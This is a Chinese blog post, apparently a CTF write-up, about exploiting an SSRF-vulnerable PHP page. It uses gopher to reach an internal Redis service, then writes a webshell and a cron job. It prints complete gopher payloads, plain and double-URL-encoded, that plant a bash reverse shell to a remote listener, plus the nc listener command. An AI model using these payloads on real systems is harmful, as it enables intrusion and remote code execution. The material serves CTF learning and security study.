CTF SSRF redis写入shell、计划任务

一道SSRF题目,如下:

题目:

<?php
//Flag in flag.php
highlight_file(__FILE__);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['submit'])){
        $url = $_GET['url'];
        if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
        {
            die('No');
        }
        curl($url);
}
if(isset($_GET['ip'])){
    system('ifconfig');
}
?>

可以看到过滤了file、dict协议,可以使用gopher协议。

http://X.X.X.X:XXXX/index.php?ip
#可以查看本机IP地址

http://X.X.X.X:XXXX/index.php?url=http://172.X.X.53:6379/&submit=%E6%8F%90%E4%BA%A4
#使用http协议访问6379端口,发现启用了redis服务,那就可以用redis写shell了。

一、写入webshell

使用Gopherus工具生成redis的payload:

 

发送payload即可写入shell.php,注意_后的字符需要二次url编码。 

 

写入成功就可以访问shell:

 

二、写入计划任务反弹shell

payload如下,记住需要_后需要二次url编码。

vps:nc -lvvp 1444

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
gopher://127.0.0.1:6379/_%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%74%74%74%25%30%64%25%30%61%24%36%39%25%30%64%25%30%61%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%78%78%78%2e%78%78%2e%78%78%78%2e%78%78%2f%31%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
关于CTFSSRF的正则匹配,SSRF(Server-Side Request Forgery,服务器端请求伪造)是指攻击者通过构造恶意请求,使端发起对内部资源的请求。在CTF中,判断是否存在SSRF的点可以通过正则匹配来实现。 一般来说,判断是否存在SSRF的点可以通过检查代码中是否使用了可能触发SSRF的函数,如file_get_contents()、curl()、fsockopen()、fopen()等。通过正则表达式匹配代码中的这些函数调用,可以初步判断是否存在SSRF。 例如,可以使用正则表达式来匹配以下代码: file_get_contents\(|curl\(|fsockopen\(|fopen\( 这个正则表达式可以匹配代码中是否存在file_get_contents()、curl()、fsockopen()、fopen()等函数的调用。 另外,也可以通过正则表达式来匹配URL参数或输入框中的内容,判断是否使用了可能触发SSRF的协议,如http://、file://、dict://等。例如,可以使用以下正则表达式来匹配可能存在SSRF的URL: (http|https|ftp|file|dict):// 需要注意的是,正则表达式只能作为初步判断的手段之一,对于复杂的情况,还需要综合考虑代码逻辑和具体的应用场景来判断是否存在SSRF漏洞。同时,在进行正则匹配时,也要注意避免误判和漏判的情况。 综上所述,通过正则表达式匹配代码中的函数调用和URL参数,可以初步判断CTF题目是否涉及SSRF漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [浅谈ssrf与ctf那些事](https://blog.csdn.net/qq_38154820/article/details/109252839)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值